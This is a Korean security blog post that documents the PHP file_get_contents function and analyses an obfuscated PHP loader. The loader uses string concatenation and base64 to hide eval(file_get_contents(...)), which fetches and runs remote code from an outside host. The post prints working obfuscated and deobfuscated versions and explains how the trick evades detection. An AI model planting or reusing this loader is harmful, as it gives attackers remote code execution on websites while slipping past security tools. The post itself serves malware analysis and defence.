KOROMOON

착한 사마리아인이 되고 싶습니다.

8/21/2020

문자열 연결 난독화를 이용한 PHP 파일 다운로드 실행 코드


( 1 ) file_get_contents() 함수


전체 파일을 문자열로 읽는 함수로 PHP 4.3.0 버전 이상부터 사용이 가능함.

읽어들일 파일이 공백 등과 같은 특수 문자가 있는 URI일 경우 urlencode() 함수를 이용하여 인코딩해야 함.

성공 시 파일을 문자열로 읽어들이고 실패시 FALSE 를 반환함.


file_get_contents ( string $filename [, bool $use_include_path=FALSE [, resource $context [, int $offset= 0 [, int $maxlen ]]]]) : string


filename

읽을 파일의 이름 지정


use_include_path

경로 지정


context

사용자 정의 컨텍스트 리소스 지정


offset

경로의 스트림에서 읽기가 시작되는 오프셋 지정으로 음수일 경우 스트림 끝부터 계산됨.

원격 파일에서는 지원되지 않음.


maxlen

읽은 데이터의 최대 길이 지정으로 기본값은 파일 끝에 도달할 때까지 읽음.


7.1.0 버전 이상 - 부정값에 대한 offset 지원 추가

5.1.0 버전 이상 - offset 및 maxlen 매개변수 추가




( 2 ) 문자열 연결 난독화를 이용한 PHP 파일 다운로드 실행 코드




<?php

$a = 'cr'.'ea'.'te'.'_f'.'un'.'c'.'ti'.'o'.'n';

$f = $a('$a', 'E'./**/'v'.'A'./**/'l'.'(fil'.'e_g'.'et_c'.'onte'.'nts'.'(b'.'as'.'e6'.'4_d'.'ec'.'od'.'e'.'

("a'.'HR'.'0cDovL2'.'5hdGl2ZXJlZ'.'GlyLnR'.'rL2x4LzEu'.'dHh0")));');

$f(1);

?>

 

↓ 문자열 연결 복호화

 

<?php

$a = 'create_function';

$f = $a

('$a', 'EvAl(file_get_contents(base64_decode("aHR0cDovL25hdGl2ZXJlZGlyLnRrL2x4LzEudHh0")));');

$f(1);

?>

 

base64 복호화

 

<?php

$a = 'create_function';

$f = $a('$a', 'EvAl(file_get_contents(hxxp://nativeredir[.]tk/lx/1.txt));');

$f(1);

?>


문자열 연결 난독화는 각 문자열 사이에 마침표를 사용한 후 PHP는 이러한 문자열을 함께 결합하고 단일 함수로 실행하도록 동작함.

보안장비에서 base64_decode 및 file_get_contents 와 같은 특정 함수 탐지를 우회하기 위해 문자열 연결 난독화를 사용함.


해당 코드는 create_function 및 eval(file_get_contents(base64_decode())) 함수 문자열을 연결한 후 file_get_content 함수를 이용하여 외부 웹 사이트(hxxp://nativeredir[.]tk/lx/1.txt)에서 코드를 가져온 다음 eval()함수를 통해 실행됨.




참고 사이트 : 

https://www.php.net/manual/en/function.file-get-contents.php

https://blog.sucuri.net/2020/08/string-concatenation-obfuscation-techniques.html




============================================================

본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.


댓글 없음:

댓글 쓰기